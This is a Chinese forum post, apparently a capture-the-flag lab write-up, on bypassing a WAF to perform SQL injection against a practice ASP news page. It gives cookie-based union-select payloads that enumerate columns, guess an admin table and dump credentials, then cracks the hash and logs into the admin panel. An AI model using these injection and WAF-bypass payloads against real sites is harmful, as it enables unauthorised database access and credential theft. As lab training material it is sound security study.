第二章:遇到阻难!绕过WAF过滤

黑鬼   ·   发表于 2023-11-23 11:20:13   ·   学习杂记

目标地址:http://g8wepfcp.ia.aqlab.cn/shownews.asp?id=171

判断是否存在注入点

用 and 方式判断是否存在注入点,发现会拦截很多字符。测试发现包括但不限于 and,select,=。

换种方式:

?id=171 一个页面
?id=171-1 查出来是 id=170的页面,说明存在注入点

判断字段个数

?id=171 order by 11 页面报错数据库出错
?id=171 order by 10 页面正常

说明表有10个字段。

找回显点

试了 n 种方法,select 始终被拦截。后来在社区里看帖子发现大家都用另一种思路:Get 传参被拦截,尝试 Cookie 传参。

之前查询时参数是写在 URL 后面的。

把这个参数干掉,再查询,会发现此时页面查不到内容,因为没有参数。

F12 打开浏览器控制台,输入如下代码,然后再刷新页面会发现页面有内容了,这说明成功通过 cookie 进行传参。

document.cookie=”id=” + escape(“171”)

此时修改 cookie 值,查回显点。

document.cookie=”id=” + escape(“171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10”)

此时页面会显示数据库出错。

我特地打开 mysql 数据库做了个测试,库里是允许直接 select 1,2,3… 的,只要后面的个数和前面一张表查询的字段个数相同是有效的,不明白这里为啥会报错。

union select 后面查的字段和前面表查的字段个数一致时应该是有效的才对。

union select 后面查的字段和前面表查的字段个数不一致时才会报错。

在其它文章里看到说直接猜表名为 admin,带上表名就可以看到回显点了。

document.cookie=”id=” + escape(“171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin”)

找到回显点 2,3,7,8

后面就是查字段名,查数据了。(字段名 username 和 password 又是靠猜测……)

document.cookie=”id=” + escape(“171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin”)

拿到用户信息 拿到用户信息 admin / b9a2a2b5dffb918c,密码在 https://cmd5.com/ 进行解密得到明文是 welcome。

http://g8wepfcp.ia.aqlab.cn/ 这个首页地址后面加上 /admin 一般是后台地址,输入 admin/welcome 进入后台成功拿到 flag。

打赏我,让我更有动力~

0 条回复   |  直到 5个月前 | 188 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.